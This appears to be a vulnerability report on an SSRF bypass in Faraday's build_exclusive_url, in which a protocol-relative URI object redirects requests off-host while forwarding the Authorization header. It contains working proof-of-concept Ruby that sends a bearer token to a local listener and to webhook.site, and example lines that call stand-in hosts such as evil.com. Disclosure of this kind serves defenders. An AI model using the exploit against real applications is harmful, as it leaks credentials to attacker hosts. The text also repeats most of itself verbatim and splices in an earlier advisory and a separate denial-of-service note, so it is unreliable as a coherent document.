Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end